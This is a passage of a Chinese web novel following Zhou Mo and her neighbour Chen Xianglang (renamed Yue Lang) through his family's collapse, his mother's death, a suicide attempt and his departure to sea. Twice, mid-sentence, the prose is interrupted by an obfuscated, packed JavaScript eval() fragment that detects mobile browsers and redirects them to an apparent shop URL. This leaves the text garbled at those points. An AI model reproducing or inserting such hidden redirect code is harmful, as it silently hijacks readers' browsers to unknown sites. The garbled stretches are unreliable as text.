周墨第二天醒过来,发现自己躺在一个完全陌生的房间内,着实吓了一跳,第一时间掀开被子检查自己的衣服,见穿戴整齐,才算松了口气。 接下来她的记忆开始回溯,想起最后好像是在会所里看到了岳朗。 徐子衿说的没错,她以后再出席饭局,一定要带着个人,不然迟早有一天醉倒在大街上被人捡尸。 周墨所在的房间是个套间,有自己独立的洗手间,她洗漱整理好,才走出房间,见岳朗正在准备早餐。 相似的场景,不久前她见过,只不过那时候她是在自己的家里,准备早餐的人是徐子衿。 “醒了?”岳朗看到周墨,立刻放下手中的碗盘,走过来,伸手在她额头上试了试,“嗯,不烧了。” 周墨惊讶,跟着摸自己的额头,“我昨天晚上发烧了么?” 岳朗眨眨眼,低头凑近,带着点讨赏的意味,“小墨姐姐,我可是衣不解带,照顾了你一整晚,退热贴都给你换了五六个。” 周墨心里有些过意不去,“哎,给你添麻烦了,也幸亏有你,昨天的饭局对我来说很重要,喝得有点多了。” 岳朗收起了玩笑的嘴脸,深深看着周墨,“无论什么样的饭局,都比不得你的身体重要,周墨,以后别这么糟蹋自己了。” 岳朗比周墨小两岁,不知道是不是因为他阅历太过丰富,每当他严肃起来的时候,总会对周墨直呼其名,这种时候,周墨在他面前,反倒有种被长辈教训的错觉,觉得他气场强得有点可怕。 “嗯,知道了,肚子好饿。” 周墨绕过一堵墙般横在面前的岳朗,故意表现出饥不择食的样子。 “哇,这些都是你做的么?你好厉害!” 岳朗对她的耍赖毫无办法,双手叉腰,无奈地摇了摇头。 “别对一个船员的厨艺抱有太大期待,如果是我做,只能做出一桌猪食。” 周墨坐在桌边,看着摆了满桌的东西,第一时间用筷子插起一只水晶蒸饺,啊呜一口放进嘴里。 “不至于这么夸张吧?那这些是什么?”她一边吃一边说话,腮帮子鼓鼓的,活像只松花鼠,看得岳朗手痒痒的,总想戳一戳。 “我一早叫的外卖,不知道你爱吃什么,就多点了一些,怎么样,好吃吗?” 周墨点头,又锁定了一碗武汉热干面,端过来开吃。 “这么说,船员的厨艺都不好么?为什么呀,难道你们当初在船上不做饭的?” “没什么食材,大多数都是吃罐头,或者吃鱼。” “能吃鱼也不错呀!都是海鱼,还那么新鲜!”周墨眼神里表现出向往。 “再新鲜的鱼,吃多了也会腻歪,有的时候远程航线,往往几个月不靠岸,吃罐头和鱼吃到吐。这种时候,我们就会想办法,搞点鲜货。” 周墨好奇:“船上能有什么鲜货?” 岳朗趴在桌上,看着周末,忽然恶劣一笑。 “老鼠呀。” 周墨:“……” 她发出尖锐爆鸣,抬手打他。 岳朗不躲不闪,被周墨打,似乎还很受用,一直坏笑看着她。 直到周墨彻底将老鼠的形象从大脑中驱逐出去,才有气无力地继续埋头去吃热干面。 “你……你真的吃过啊?”周墨问。 岳朗的眼睛里映着周墨那张小心翼翼的脸。 “骗你的,船上怎么会有老鼠。”他声音放低,很有磁性,麦色的俊脸似笑非笑的。 周墨松了口气,“还好,不然也太可怜了。” “怎么,真的吃老鼠,小墨姐姐是不是会心疼?” “当然了!你那时候才多大呀!” 岳朗笑意更甚,眼睛里都是周墨的影子,“哦,那我就吃过吧。” 周墨被他弄得心里七上八下的,“喂,你嘴里到底有没有一句准话!到底吃没吃过!” “你猜?” 周墨没了脾气,这时余光里看到什么东西,不禁愣了一下。 “那是……” 岳朗顺着她的目光,回头看茶几上放着的玻璃罐。 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陈向远放着自家的私家车不坐,每次都要等周墨放学,一起坐公交车回家,这才难得能在路上和她说上几句话。 因为林跃琮的离开,周墨着实消沉了很多天,便一直借口要上晚自习,故意躲着陈向远,不和他一起走。 陈向远见不到周墨的人,就一直用手机给她发短信,总归都是问她今天上了什么课,吃了什么东西之类的废话,周墨也懒得回复。 这天半夜,周墨从睡梦中惊醒,缓了好久,才听出来外面有人在吵架,期间伴随着女人的哭声。 “贱人!敢给老子戴绿帽子,杀了你!”一声男人的爆吼,彻底将周墨惊醒,她猛地从床上坐起来,隐约听见了朱美丽的声音。 她在睡衣外面匆匆套上一件羽绒服,跳下床就往楼下奔去。 自家的别墅静悄悄的,吵闹声来自外面。 周墨打开别墅大门,就看到一个蓬头垢面衣衫不整的女人,正从隔壁别墅的院子里跑出来,又哭又叫。 一个男人手里提着一把菜刀追出来,双目赤红,俨然一副要剁了女人的样子。 紧接着后面又追出来两个人,正是朱美丽和周海山。 “陈家大哥,你冷静一下,别真的闹出人命啊!”周海山拉着男人的胳膊,不让他靠近女人。 “放开我!你们也不看看这个贱货干了什么好事!妈的,不仅给老子戴绿帽,还他妈让老子给别人养儿子!贱女人!不杀了她老子咽不下这口气!” 朱艳躲在朱美丽身后,像只躲在老母鸡身后的小鸡崽,她冲男人啐了一口,撕心裂肺的叫嚣起来:“陈开阳你他妈活该!哦,就许你在外面左一个小蜜右一个小蜜的睡,凭什么不许我在外面找男人?你天天不着家,让我守活寡么!你这种人渣,就活该给别人养儿子!” 陈开阳彻底失控,猛地一把挣开周海山,提着菜刀就冲过来。朱艳吓得尖叫一声,掉头就跑,撒丫子狂奔。朱美丽和周海山又追上去,周墨哪见过这样的阵势,她生怕朱美丽和周海山两人被殃及池鱼,叫了声“爸!妈!”,也跟着冲了出来。 周家和陈家的别墅相邻,周墨跑出来时,余光里瞥见站在陈家别墅院子里的陈向朗。 已经是十一月底,滨城气温降得厉害,而陈向朗此时身上只穿了一套薄薄的丝绸睡衣。十三岁的少年,身高窜得快,身子骨却很单薄,周墨见他一脸苍白,眼神空洞茫然,像是失了魂魄的样子。 “陈向朗,你快进屋去,穿这么少不怕冻死么?” 陈向朗默默转过头看了周墨一眼,像个接收到指令的机器人,往别墅大门走,伸手去推门,没有推动。 “小墨姐姐,门锁了。” 周墨过去跟着推了推,果然是锁着的。她皱眉道:“你哥不在家么?” 陈向朗没吭声。 周墨是带着手机出来的,立刻拿出手机给陈向远打电话,却没人接。 “先去我家里吧。” 周墨拉起陈向朗的手,发现他整个人都是抖着的。 “还愣着做什么,快点走!”她呵斥了一声,才成功将木桩子一样钉在地上的人拉走。 整个锦上花园被闹得鸡飞狗跳,越来越多的人出来,不仅惊动了小区的保安,还有警察。 最后陈开阳被制服,和朱艳,连同周海山和朱美丽一起,都被带去派`出所做笔录,直到天亮才回来。 在那之后不久,周墨听小区里的人说,陈家兄弟的父母离婚了,陈向朗被发现不是陈开阳的孩子,是朱艳和别人偷情生下来的。 陈开阳将朱艳和陈向朗母子扫地出门,自己也走了,别墅里只留下了一个陈向远。 这下变成了周墨给陈向远发短信,约他放学后一起走,可是连着几天也没等到人。陈向远不回消息,周墨就去他班级里找人,可陈向远却好像完全变了个人,见到周墨话也不说,态度极其冷漠。 “陈向远,你怎么不回我消息?”周墨拽住陈向远的校服衣摆。 陈向远粗暴地挥开她,冷冷看着她,“怎么,连你也来看我的笑话么?” 周墨愣了愣,看着陈向远决然离去的背影,没有再追。 26. 026 再次见到朱艳,是在三中校门口,已经是夏天。 周墨放了晚自习,见到朱艳吃了一惊。 她看上去完全像是换了个人,瘦骨嶙峋,肤色暗沉,脸上满是病气。 不变的是,依然画着艳丽的浓妆,身上穿着漂亮的花裙子,哪怕那裙子里再也显现不出凹凸有致的曲线。 “朱艳阿姨,你……这是怎么了?” “嗐,乳腺癌,用不起靶向药,晚期了。”朱艳一开口,还是以前那般泼辣飒爽的腔调,好像在谈论的并非自己的生死。 周墨有点难过,不知道该如何安慰,朱艳却一摆手,“哎呦,你这是什么表情嘛!生死有命,随它去就是了!阿姨今天来找你,是想拜托你一件事,阿朗那孩子……” 提到陈向朗,朱艳眉宇间总算添了些忧色,“他现在一直辍学逃课,找不到人影,经常几天几夜不回家,也听不进人的劝,阿姨想求你有空的时候找他聊聊,让他别这么荒废下去,毕竟还有不到一年就中考了。” “好,我应该知道在哪里能找到他,试着跟他聊聊。” 朱艳露出感激的笑容,感慨道:“我一直喜欢女孩,没想到生了两个臭小子,都不想多看一眼。我最羡慕朱姐的,就是有个你这样的女儿了。” 这个女人似乎竭力想维持一个健康人的体面,可是周墨却盯着她的鼻子,看到血液滴落。朱艳感觉到,急忙仰起头,伸手到口袋里拿纸巾。 毕竟是看着她长大的长辈,周墨习惯了朱艳浓烈张扬的样子,看她在自己的眼前生命渐渐消逝,忍不住哽咽:“朱艳阿姨,我去找陈向远,他这么多年攒下的零花钱,拿出来应该够你买几次靶向药的。” 朱艳轻笑,摇了摇头,像是嫌弃小孩子的单纯,“我是享福享惯了的,受不了现在这种苦日子,还不如早死早解脱。只是可惜了阿朗那孩子,如果以后……” 朱艳看着周墨,似乎想说什么,不过最后却是话锋一转,“算了,我自己这个当亲妈的都不愿意负责,哪还有脸跟你个孩子要求什么。等你见了他,能聊的下去就聊,他要是油盐不进……也就罢了,任他自生自灭去吧!” 她不愿继续在一个晚辈面前展现自己的狼狈,转身背对着周墨挥了挥手,“好了,就这样吧!” 单薄的身影很快消失在人群中,周墨望着那抹亮丽的颜色,眼前逐渐模糊,啪嗒啪嗒的眼泪掉落,意识到或许此生,就是最后一次见到这位阿姨了。 …… 新人类网吧是家黑吧,有钱就能进,不查身份证,在广大不良少年圈子里非常有名。周墨一直知道锦上花园里不少孩子都会来这里打游戏,却也只有在中考结束后,被陈家兄弟拉过来一次。 充满劣质烟的逼仄空间里,是一排排面对着电脑的网瘾少年。 陈向朗一双眼睛布满血丝,眼底青黑,手边放着吃了一半的桶装泡面,还有各种乱七八糟的小食品包装袋。 他在游戏里一直被人杀,脸上满是暴戾,网管过来提醒时间快到了,问他要不要加钟。 屏幕上再次出现角色死亡的黑白画面。 他暴躁地狂砸鼠标,“滚啊!” 后脑勺被人狠狠拍了一下,陈向朗猝不及防向前一趴,差点直接用脸滚键盘。 “他妈的谁啊?找死是吧?” 他霍地站起身,椅子被推后,四脚蹭过地面,发出尖锐刺耳的摩擦声。 这动静一下吸引了不少目光,却没有落在陈向朗身上,而是看向他身边的少女。 少女穿着一身校服,扎着马尾,背着书包,脸上干干净净的没有化妆,皮肤分外白皙,看起来和这里格格不入。 陈向朗回头看到周墨,一下愣住了,脸上的戾气也消散了不少。 “你怎么在这里?”这是他的第一反应。 很快又蹙起眉,“你打我做什么?” 虽然他只是初中生,个子却已经窜到接近一米八,留着寸头,和唇红齿白的陈向远不同,他的肤色略黑,眉骨硬挺,不笑的时候看着有点凶。 周墨抱着双臂,却丝毫不怵,说起话来隐有朱美丽的气势。 “打你?打你不对么?谁让你说脏话了,还逃课不上学!你穿着正华中学的校服,那也是我母校,不能让你这么败坏校风。” “有病!”陈向朗重新坐回去,准备继续开游戏。 周墨去拽他,“别玩了,跟我走。” 陈向朗猛地甩开她。 他力气很大,周墨一下被他推得向后踉跄,磕在身后一人的椅背上,不禁痛呼。 陈向朗有一瞬间的慌乱,起身上前一步,见周墨似乎没什么大事,又僵硬在原地。 身后的黄毛被撞了一下,却不依不饶起来,“呦,小妹妹,怎么还往哥哥身上撞啊?要不你来坐哥哥腿上,哥哥教你打游戏?” 陈向朗一下变了脸色,他一把将周墨拉到身后护住,冷着脸看那黄毛,“想死是不是?敢再看她一眼,挖了你们的眼睛!” 黄毛那一排上网的人,一下站起来四五个,看着都是流里流气的社会混混。 “小子,毛都没长齐,这么嚣张?这妹妹给你,会用么?” 下一秒,陈向朗挥拳砸向黄毛下巴,竟然直接见了血。 这下黄毛其他的同伴一拥而上,很快将陈向朗按在地上拳打脚踢。 “让他们住手!再打就报警了!”周墨摸出书包里的手机,却是冲到网管面前,半是恳求半是威胁,一双眼睛盯住网管,亮得惊人。 黑网吧最怕招来警察,网管也不想事情闹大,找了几个人上前拉架。 “几位小哥,给我们老板个面子,别跟这小孩一般见识了,咱和和气气的,回头给你们免费开机一次。” 能在这里开起黑网吧的,肯定不是普通人物,几个混混也不想真的惹了厉害人物,又在陈向朗身上踹了两脚,这才骂骂咧咧地走了。 周墨跑回来搀扶陈向朗,陈向朗却再次甩开她的手。 “都怪你多管闲事!” 出乎所有人意料的,周墨非但没有安抚英雄救美负伤的陈向朗,反而又给了他后脑勺一下。 “你以为我愿意多管闲事!不是你,我会来这里,招惹到这些烂人吗!” 陈向朗呆呆的,说不上是被周墨一巴掌拍懵了,还是惊讶于她的小宇宙爆发。 “给我起来!”周墨拽着陈向朗的胳膊,将人往上提。 在又高又大的陈向朗面前,她就像一只企图拖走大狗的金花鼠。 可偏偏陈向朗这次很乖,竟真的顺着她的力道,被成功“提”起来。 乌烟瘴气的网吧里呛得人眼睛酸疼,周墨抓着陈向朗手腕,一路通过逼仄的电脑卡座通道往外走。 快走到门口时,网管拦住他们。 “同学,结一下账。” “什么结账,我账户上不是有钱么?” 因为以前两兄弟经常来这里上网,陈向远嫌麻烦,索性直接冲了几千块钱在账户上。 网管给陈向朗展示消费记录:“您和您哥哥的账户已经没钱了,就在今天,花完了最后的储值,还欠了一些钱。” 陈向朗面上有一丝尴尬,以前出来吃喝玩乐,有陈向远在,他从来不管钱上的事。 仔细想想,距离上一次充值,好像已经是大半年前了。 那个时候,他还姓陈,住在锦上花园的别墅里,是个不愁吃喝的二世祖。有哥哥,有爸妈,也有一个叫周墨的邻居姐姐。 “多少钱?”陈向朗低着头翻口袋。 “两百三十九块八。” 翻口袋的动作一顿,陈向朗去看周墨。 周墨立刻瞪眼睛:“你看我做什么,我没带那么多钱。” 陈向朗将手从口袋里拿出来,手心里捏了一把硬币,满打满算加起来没有十块。 周墨翻了个白眼,从书包里翻出自己的学生证,拍到柜台上:“小哥哥,我是三中的学生,这个是我的学生证,先押在你这里,明天我们回家取了钱,我再来缴费,可以嘛?” “哎呦,你是三中的学生啊?”网管拿起学生证,对着周墨的照片看了又看,很是惊讶。 三中是全省最好的高中,滨城的人天然对三中学生有好感。再者,黑网吧本来也见不得光,总不可能将他们扣住让家人来领 “行吧,也不着急,你们这周之内来还钱就行。”网管将周墨的学生证收进抽屉,半真半假地恐吓一句,“要是敢逃单,就去你们学校找你哦。” …… 两人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270860|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑网吧出来,周墨要去坐公交车,问陈向朗:“你现在住哪里?” 陈向朗不吭声,把周墨送到公交站,插着口袋转身就走。 “喂,陈向朗!”周墨对着他背影大叫。 陈向朗还是当做没听见一样。 周墨冲过去一把揪住他,强行将人扳过来,“你耳朵聋了么!” 没想到却对上一双发红的眼。 “陈向朗是谁!我现在不叫陈向朗!” 他像是和什么较劲一样,想故意展现自己恶劣的一面,将周墨吓走,可眼神又满是委屈和留恋。 周墨愣了好半天,才轻声道:“那……你现在,叫什么?” 陈向朗头撇向一边,“不关你事。” 周墨没脾气了,“你不让我叫你陈向朗,又不告诉我你的新名字,那我该怎么叫你?总不能叫你小孩吧?” “我不是小孩了!”这回他反应倒是很快。 “行,你不说是吧,那我打电话问朱艳阿姨。”周墨去书包里摸手机。 陈向朗表情忽然变得狰狞,“你要还想让我跟你说话,就别再和那个女人联系。” 周墨抬脚踹他,“什么那个女人,那是你妈妈!” “我没有她那样不要脸的妈妈。” “那你怎么不说陈叔叔,他不是也婚内出轨了,难道你嫌贫爱富啊?” “我没有!!” “没有干嘛只说朱艳阿姨?” “我爸……姓陈的也不是什么好东西。” 陈向朗呼吸急促,胸膛剧烈起伏,看上去情绪相当不稳定。 他本想用冷漠的外壳掩饰脆弱,可是不到十四岁的年龄到底欠缺了阅历和城府,眼泪终究不争气地落下来。 “我到底算是什么?朱艳出轨的证据么?还是陈开阳不要的垃圾?我到底算什么?” 连日的泡吧,让他看起来蓬头垢面,下巴上也隐现青涩的胡茬。 像只可怜的,被抛弃的家犬。 周墨安静得看着他,任凭他释放出事以来一直压抑的情绪,直到哭声渐渐弱了,她才开口。 “你还能是谁?你就是你啊。不管你是谁的儿子,不管你是什么出身,拥有什么样的父母,是贫穷还是富贵,难道最重要的不是你自己本身么?” “不管你是陈向朗,刘向朗,还是王向朗,都不过是一个外在的代号罢了。父母一辈的事我们没法插手,但那都是他们的错,不是你的命。你才是你人生的主角,主角的命运掌握在你自己的手里。” 十五岁的少女,也并没有比受伤的少年多出多少人生智慧,但周墨凭借自己出色的作文能力,还是煲出了一锅还算过得去的鸡汤。 陈向朗听得眼泪又出来了,他觉得很没面子,转过头去用手背擦眼睛,然后干巴巴从嘴里蹦出两个字来:“岳朗。” 周墨一时间没反应过来他在说什么,“啊?” “她给我改了新名字,叫岳朗。” “岳朗……”周墨点评:“不错,比以前的好,不然我总会叫错你和陈向远的名字。” 叫了十几年的名字,忽然不再属于他,与之一起失去的还有他过去的身份。岳朗其实一直都没法真正接受这个新名字。 但是,当这个名字从周墨的口中唤出来,似乎也没那么难以接受了。 而且,她也给他找了个可以喜欢这个新名字的合理理由—— 从此以后,他就和那个叫了十三年哥哥的人,再也没有什么联系了。 公交车来了,周墨挥手跟新鲜出炉的岳朗告别。 岳朗一直默默注视着她上车,却又见她忽然从车窗探出一颗脑袋,大喊道: “岳朗!以后别再逃课了,你不是一直想和我们一样考上三中嘛?还有一年,留给你的时间可不多了!” 喊完这句,又自言自语嘀咕一句:“一个学生,连书包都不背,真是不像话!” 她以为她声音很小,却还是被外面的少年听得清清楚楚。 公交开走了,岳朗目送它很远,唇角无意识地扬起一丝浅淡的弧度。 可惜的是,当他鼓起勇气,决定掌管自己的命运时,命运却又如此弄人。 他终究,没有机会和他的小墨姐姐考到同一个高中了。 27. 027 陈向朗自杀了。 这是周墨再次听到有关陈向朗的消息。 当时徐子衿家刚刚出事,徐家夫妇双双跳楼的新闻甚至还上了本地电视台,在最不应该承受死亡的年纪经历这些,无疑会产生巨大的心理阴影。 所以即便这只是源自于校园里的小道消息,周墨还是第一时间不管不顾冲出学校,打车去了曾经的初中。 正华中学的教学楼下围了很多人,救护车顶部的警报灯在无声地闪烁。这一幕熟悉得让周墨想吐,她走到救护车旁,蓝白交替的灯光晃得她一张脸惨白如纸。 “怎么了?发生什么事了?” “有学生在厕所隔间里割腕自杀……” “啊?谁啊,哪班的?” “你肯定认识,曾经的风云人物,三班的那个陈向朗!” “啊,就那个妈和人出轨,发现不是富豪亲儿子的那个?” “对,就是他!现在已经改名叫岳朗了!” “我的天,这也太丢脸了,是因为这个才自杀的么?” “闭嘴,闭嘴……” 周墨听着这些议论,口中喃喃,她的声音太小了,那些学生根本没听见,直到她忍无可忍,声音陡地抬高:“闭嘴!” 学生们吓了一跳,纷纷回头看她。 “你是谁啊?” “她不是我们学校的学生吧……” “三中,是三中的校服!” 这些初中生们在看到周墨校服胸口的校徽时,顿时转变了态度,或多或少流露出羡慕或是崇拜的眼神。 这时教学楼门口又出现一阵躁动,一个男生被人用担架抬了出来,周墨不再理会这些学生,径直冲了过去。 “让开让开,无关人员让一下!”负责急救的医护人员在清场。 “我是他姐姐!”周墨立刻道。 医护人员看了她一眼,没再驱赶,任由她上车。 陈向朗已经失去了意识,面无血色,手腕上缠着纱布,血迹一层层渗出,从内里透出触目惊心的红。 周墨坐在他身旁,牢牢抓住他另一只手,似乎这样就可以抓住他脆弱不堪一击的生命。 “放心吧,这小同学现在暂时没有生命危险。”医护人员见周墨眼泪流得汹涌,出声安慰。 周墨很会抓重点:“暂时?那就是后面还会有危险么?” “他有没有什么病史?比如心脏病,慢性肾炎或是肝脏类疾病?” 周墨摇摇头,印象里,陈向朗身体一直好得像牛犊。 “你还是学生吧?家里的大人呢?”医护人员问。 “他母亲上个月病逝了,我们一直在联系他父亲,手机打不通。” 一个戴着眼镜的中年男人说,他是陈向朗的班主任,代表校方陪同跟车。 周墨听得心神一震,“朱艳阿姨……去世了?” 班主任有些惊讶,“你不知道么?你不是陈向朗的表姐或者堂姐?” 周墨没有回应,垂着眼沉默片刻,问:“老师……您联系的陈向朗的父亲,是哪个?” 班主任脸上闪过一丝尴尬,“是岳先生,之前那位陈先生……已经把我拉黑了。” 之前不知道陈向朗家里出事,班主任曾因为他逃课联系过家长,当时没能联系到他妈妈,就给他爸爸打过去,没想到却遭到劈头盖脸的一顿痛骂。后来才听说了这位学生家里堪比狗血剧的变故。 陈向朗的亲生父亲,周墨只见过一面,那天他开了一辆小货车,来锦上花园接朱艳和陈向朗。 周墨当时远远地瞥了一眼坐在驾驶位的男人,精瘦黝黑,眉眼俊朗,看上去老实忠厚的面相。 听锦上花园里的大人们提起过,据说这人和朱艳是同村出来的,小时候一起长大,是早就认识的。 朱美丽曾经在得知朱艳住院时,去探望过她几次,每次回来眼圈都红红的。 周墨偷听过朱美丽和周海山的对话,朱美丽说那个男人对朱艳很好,对阿朗也好,是个值得托付的,只可惜,朱艳的身体实在不争气,恐怕没多少时日了。 后来周墨再也没听说朱美丽去医院探病,现在回想,就是一个多月前,她一早起来发现朱美丽和周海山不在家,只给她留了早饭和字条,说有点事出去了,让她吃完饭自己去上学。 周墨没多心,以为两人只是寻常去早市进货,毕竟之前也有过这种情况,却没想到他们其实是去参加朱艳的葬礼。 救护车开到医院,班主任帮忙垫付了医药费,然后又给岳朗的生父打电话。这次电话接通了,班主任的脸色却变得很复杂。 “老师,怎么了?出什么事了么?”周墨的观察力极其敏锐。 班主任很纠结,似乎在犹豫该不该告诉周墨。 周墨说:“老师,我妈妈和阿朗的妈妈是非常好的朋友,有什么事你跟我说,我可以让我爸妈帮忙处理。” 班主任叹了口气:“哎,刚刚接到消息,岳先生今天早上出了车祸,现在已经送去省医院抢救,似乎……下了病危通知。” 麻绳专挑细处断,厄运专找苦命人。 周墨不明白,明明是一个蜜罐子里泡大的人,怎么短短不到一年光景,就要遭受如此多的变故。 陈向朗的生父终究没能挺过这场车祸,他们岳家来了人,很快就和肇事者达成了协议,领了一笔赔偿金放弃了抢救,并且把陈向朗也给接走了。 “接走了是什么意思?他不在滨城生活了吗?” 周墨听到朱美丽和周海山提起后续,急忙从自己的房间跑出来。 朱美丽一提起这件事就愤愤不平,她甚至还跟岳家人吵了一架,只可惜她并非岳朗的监护人,也没有干涉的资格。 “就是给接回村里了,阿朗那个血缘上的奶奶说了,孩子初中都毕业了,就没必要再读下去,让他跟着一个堂伯去做海员,说可以赚钱。” 朱美丽说这话的时候正在菜板子上剁骨头,一边剁一边骂:“一家子都是黑了心的,赔偿款一分没少拿,却不让孩子念书,什么东西!” 周海山叹气,偷偷往楼上徐子衿的房间瞄了一眼,放低声音对朱美丽说:“太可惜了,阿朗虽然调皮,念书不差的,好好备考,上三中都有希望,最起码能上九中。早知道这样,当初朱艳妹子还不如把阿朗托付给我们。” 周墨听得难受,她之前还不理解徐子衿的父母为什么放着家里的亲戚不用,临死前非要留遗嘱,指定朱美丽和周海山为徐子衿的监护人。 现在看来,有的时候血缘上更近的亲戚才是最可怕的,失去双亲庇护的孩子,往往骨头渣滓都要被嚼碎了,当做肥料供养别人。 神通广大的朱美丽同志,不知道从哪里得知陈向朗跟着他那个岳家堂伯出发的确切日子,连夜做了很多吃食,说是要送送他。 “不管怎么说,也是邻居一场,咱们能做的也就是这些了。” “那我明天跟学校请假,跟你们一起去!”周墨说。 朱美丽没避着周墨谈论这件事,本意也是打算让周墨跟着去的,点头道:“你到时候也顺便开导一下阿朗,我听说他状态一直不大好。” 周墨当天晚上又去隔壁别墅找陈向远,陈向远开门见是她,脸色一下冷下来。 “又是为了那个人来找我的么?” “就算他和你不是一个父亲,你们也是同母异父的兄弟,他明天就要离开滨城去做海员了,你不去和他见一面么?” 之前周墨为了朱艳的医药费来找过陈向远,当时陈向远表现得十分冷漠,一提起朱艳,似乎巴不得她赶快死的样子,从那以后周墨再也没和陈向远说过话。 她不理解,不论如何也是自己的亲妈,怎么会像个冷血动物一样,可以做到不闻不问。 “见他?我为什么要见他?”陈向远恨得眼睛都红了,“要不是因为他的存在,我家怎么会变成今天这样?我妈又怎么会死?我倒是希望他从没出生在这个世界上!” 砰!别墅大门在周墨面前关上,如一盆冷水,给她浇了个透心凉。 从这一刻她才清楚地意识到,她所认识的那个,总是嬉皮笑脸没心没肺的同桌,消失了。取而代之的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300884|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是一个冷漠又自私,敏感又多疑的混蛋。 周墨落寞地回到家,见朱美丽在客厅沙发上等她。 朱美丽自然知道她去做什么了,轻轻叹息一声,“小墨,别逼向远那孩子了,他也很可怜的。” 周墨憋了一路的泪水终于决堤,一边哭一边愤怒地跑上楼。 “他有什么可怜的!朱阿姨死了,陈向朗也辍学了,就他自己,跟在有钱的大款爸爸身边,活得别提多滋润了!我这辈子再也不会理他,就当从没认识过这个人!” 其实陈向远从关上门那一刻就后悔了,他追着周墨出来,可她跑得太快,等他追到周家门口,刚好听见她的控诉。 准备敲门的手僵在半空,孤月高悬的夜晚,他独自站在周家的院子里,对着墙上自己的影子发呆。 这一回,他真的就只剩下一个人了。 …… 第二天周墨跟着朱美丽和周海山,早早来到滨城火车站,果然在入站口蹲到了陈向朗和他的堂伯。 从周墨有记忆以来,陈向朗就一直是富家少爷的气质,从头到脚都是名牌,又潮又酷。可是如今的陈向朗,身上穿着洗得褪色的牛仔裤和几乎看不出本色的旧T恤,整个人看起来灰扑扑的,眼神却比上次网吧里见的时候更冷了。 他像一只警觉的小兽,第一时间感觉到旁人的注视,在人群中敏锐地望过来。看到周墨的瞬间,他愣了一下,随即立刻移开视线,似乎想要装作不认识的样子。 他的那位堂叔却一眼认出了朱美丽,很热情地打招呼。可是朱美丽对他却没什么好脸色,似乎是之前打过交道,并不喜欢这人。 将带来的大包小包吃食交到对方手里,朱美丽看着站在男人身后的少年,几次开口,却又不知道该说什么,只能红着眼眶嘱咐了一句:“阿朗,照顾好自己,以后有机会,记得回来看丽姨。” 周墨将手里的一个纸袋子递给陈向朗,“这个送你。” 其实周墨有很多话想跟陈向朗说,上一次她就没能在医院等到他醒过来,紧接着他就被岳家的人接走了,直到此刻才有机会再见面。 可是陈向朗似乎不想多说,他的目光只在两人最初视线交汇时停留了片刻,接下来就一直在刻意回避周墨的视线,哪怕是朱美丽跟他讲话,也没有什么回应。 他的堂伯呵斥了一句,对朱美丽赔笑,说孩子不懂事,俨然已经是当做自家的子侄在教训。 周墨满心反感,心说谁亲谁疏还不一定,这人算是哪根葱,却被朱美丽暗中拽了一把,示意她不要乱说话。 在男人的催促下,陈向朗跟着他进了火车站。 才过了安检,男人就急着往陈向朗手中的口袋张望,“那闺女给了你什么啊?” 陈向朗不吭声,只将那口袋宝贝一样护在怀里。 等两人上了火车,坐在硬座位置上,男人一边啃着朱美丽给他们做的炸丸子,一边伸手扒拉那袋子,待看清是一玻璃罐子的千纸鹤时,不由撇撇嘴,“城里人就喜欢搞这些没用的,这玩意儿有啥用?一路拎着还碍事儿,不如直接扔了算了。” 一直沉默寡言,看起来似乎逆来顺受的少年猛地抬眼,那眼神极凶,盯得男人心里一怵,骂骂咧咧道:“小崽子再乱瞪眼,到了船上给你丢海里喂鱼!” 陈向朗没再理会,抱着玻璃罐闭目养神。一直到晚上,夜深人静,他就着车厢内的夜灯,忽然注意到,玻璃罐中的千纸鹤,折痕似乎有些不对劲,像是被人拆开过,又重新折起。 他心念一动,迟疑着打开了玻璃罐,随机捡起其中一只千纸鹤拆开。 只见四方的花纸背面写着熟悉的字体:活下去。 他的手轻轻颤抖,以为已经是死水的内心翻江倒海,他几乎像是疯了一样,飞速地拆开其他千纸鹤。 每一只,每一只千纸鹤拆开后,背面都是同样的三个字。 活下去。 它们铺平在面前的桌板,在晃动的铁轨撞击声中,犹如少女在医院里对他拼尽全力的一声声呼喊—— 陈向朗,你要好好活下去。